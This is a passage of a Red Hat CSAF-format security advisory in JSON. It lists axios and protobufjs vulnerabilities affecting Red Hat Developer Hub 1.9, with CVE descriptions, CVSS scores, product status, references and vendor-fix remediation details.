"release_date": "2026-04-24T17:38:07.752000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-16T09:33:13+00:00",
"details": "For more about Red Hat Developer Hub, see References links",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:26234"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Moderate"
}
],
"title": "axios: Axios: Arbitrary HTTP header injection via prototype pollution"
},
{
"cve": "CVE-2026-42039",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"discovery_date": "2026-04-24T19:01:44.887156+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2461630"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a promise-based HTTP client for browsers and Node.js. This vulnerability occurs because the `toFormData` function recursively processes nested objects without a depth limit. A remote attacker can exploit this by sending deeply nested request data, which causes the Node.js process to crash due to a RangeError, leading to a potential Denial of Service (DoS) if the process crashes.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Node.js: Axios: Denial of Service via unbounded recursion in toFormData with deeply nested request data",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"known_not_affected": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42039"
},
{
"category": "external",
"summary": "RHBZ#2461630",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2461630"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42039",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42039"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42039",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42039"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-62hf-57xw-28j9",
"url": "https://github.com/axios/axios/security/advisories/GHSA-62hf-57xw-28j9"
}
],
"release_date": "2026-04-24T18:01:30.775000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-16T09:33:13+00:00",
"details": "For more about Red Hat Developer Hub, see References links",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:26234"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Node.js: Axios: Denial of Service via unbounded recursion in toFormData with deeply nested request data"
},
{
"cve": "CVE-2026-42041",
"cwe": {
"id": "CWE-915",
"name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
},
"discovery_date": "2026-04-24T19:01:41.034289+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2461629"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a promise-based HTTP client. This vulnerability, a Prototype Pollution \"Gadget\" attack, allows an attacker to manipulate the `Object.prototype.validateStatus` property. By polluting this property, all HTTP error responses (such as 401, 403, or 500) are silently treated as successful responses. This can lead to a complete bypass of application-level authentication and error handling, potentially granting unauthorized access.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Authentication bypass due to prototype pollution of HTTP error handling",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"known_not_affected": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42041"
},
{
"category": "external",
"summary": "RHBZ#2461629",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2461629"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42041",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42041"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42041",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42041"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-w9j2-pvgh-6h63",
"url": "https://github.com/axios/axios/security/advisories/GHSA-w9j2-pvgh-6h63"
}
],
"release_date": "2026-04-24T17:55:30.036000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-16T09:33:13+00:00",
"details": "For more about Red Hat Developer Hub, see References links",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:26234"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Authentication bypass due to prototype pollution of HTTP error handling"
},
{
"cve": "CVE-2026-42043",
"cwe": {
"id": "CWE-918",
"name": "Server-Side Request Forgery (SSRF)"
},
"discovery_date": "2026-04-24T19:01:22.552379+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2461626"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a promise-based HTTP client. An attacker who can control the destination address of an Axios request can exploit this vulnerability. By using specific internal network addresses (within the 127.0.0.0/8 range, excluding 127.0.0.1), the attacker can completely bypass the NO_PROXY protection, potentially leading to unauthorized access or information disclosure within the network. This issue is an incomplete fix for a previous vulnerability.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: NO_PROXY bypass via crafted URL",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"known_not_affected": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42043"
},
{
"category": "external",
"summary": "RHBZ#2461626",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2461626"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42043",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42043"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42043",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42043"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-pmwg-cvhr-8vh7",
"url": "https://github.com/axios/axios/security/advisories/GHSA-pmwg-cvhr-8vh7"
}
],
"release_date": "2026-04-24T17:54:42.668000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-16T09:33:13+00:00",
"details": "For more about Red Hat Developer Hub, see References links",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:26234"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: NO_PROXY bypass via crafted URL"
},
{
"cve": "CVE-2026-42044",
"cwe": {
"id": "CWE-915",
"name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
},
"discovery_date": "2026-04-24T19:01:13.418725+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2461624"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a widely used HTTP client. This vulnerability, known as a Prototype Pollution \"Gadget\" attack, allows a remote attacker to subtly alter JSON API responses. By manipulating a specific function, an attacker can selectively modify data within these responses. This could lead to significant security breaches, including unauthorized privilege escalation, fraudulent balance manipulation, or bypassing critical authorization checks.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"known_not_affected": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42044"
},
{
"category": "external",
"summary": "RHBZ#2461624",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2461624"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42044",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42044"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42044",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42044"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-3w6x-2g7m-8v23",
"url": "https://github.com/axios/axios/security/advisories/GHSA-3w6x-2g7m-8v23"
}
],
"release_date": "2026-04-24T17:49:49.517000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-16T09:33:13+00:00",
"details": "For more about Red Hat Developer Hub, see References links",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:26234"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget"
},
{
"cve": "CVE-2026-44293",
"cwe": {
"id": "CWE-94",
"name": "Improper Control of Generation of Code (\u0027Code Injection\u0027)"
},
"discovery_date": "2026-05-13T16:03:50.961609+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2477104"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in protobufjs, a library used to compile protobuf definitions into JavaScript functions. A remote attacker could exploit this vulnerability by providing a crafted descriptor that includes a non-string default value for a bytes field. This could lead to the generation of an unsafe expression within the toObject conversion function, ultimately allowing the attacker to execute arbitrary code.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "protobufjs: protobufjs: Arbitrary code execution due to unsafe expression generation from crafted protobuf descriptors",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important flaw affecting Red Hat products that incorporate the protobufjs library. protobufjs is vulnerable to arbitrary code execution when compiling protobuf definitions into JavaScript. During generation of the toObject conversion function, a schema-controlled default value on a bytes field that is not a string can be emitted as unsafe JavaScript code. An attacker who can supply or influence the protobuf descriptor processed by the application (low privileges required) may achieve code execution in the Node.js process context. Fixed upstream in protobufjs 7.5.6 and 8.0.2. Affects Red Hat offerings that bundle protobufjs and process attacker-influenced protobuf schemas at runtime.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"known_not_affected": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-44293"
},
{
"category": "external",
"summary": "RHBZ#2477104",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2477104"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-44293",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44293"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-44293",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44293"
},
{
"category": "external",
"summary": "https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-66ff-xgx4-vchm",
"url": "https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-66ff-xgx4-vchm"
}
],
"release_date": "2026-05-13T14:43:33.342000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-16T09:33:13+00:00",
"details": "For more about Red Hat Developer Hub, see References links",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:26234"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:H",
"version": "3.1"
},
"products": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "protobufjs: protobufjs: Arbitrary code execution due to unsafe expression generation from crafted protobuf descriptors"
},
{
"cve": "CVE-2026-44486",
"cwe": {
"id": "CWE-201",
"name": "Insertion of Sensitive Information Into Sent Data"
},
"discovery_date": "2026-06-11T17:01:30.944384+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2487947"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a promise-based HTTP client, specifically in its Node.js HTTP adapter. When Axios is configured to use an authenticated proxy and follows a redirect, it may inadvertently send the Proxy-Authorization header, containing proxy credentials, to the redirect target. This can lead to the disclosure of sensitive proxy credentials to an unintended remote server.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Information disclosure of proxy credentials via HTTP redirects",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important information disclosure flaw in the Axios Node.js HTTP adapter. Red Hat products utilizing Axios in a Node.js environment with an authenticated proxy and automatic redirects enabled are susceptible. The vulnerability arises when a request, initially sent through an authenticated proxy, is redirected to a target that no longer uses the proxy, potentially leaking `Proxy-Authorization` headers containing sensitive credentials to an untrusted remote server. This risk is heightened in deployments where applications interact with untrusted HTTP origins.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"known_not_affected": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-44486"
},
{
"category": "external",
"summary": "RHBZ#2487947",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487947"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-44486",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44486"
},
{
"category": "external",
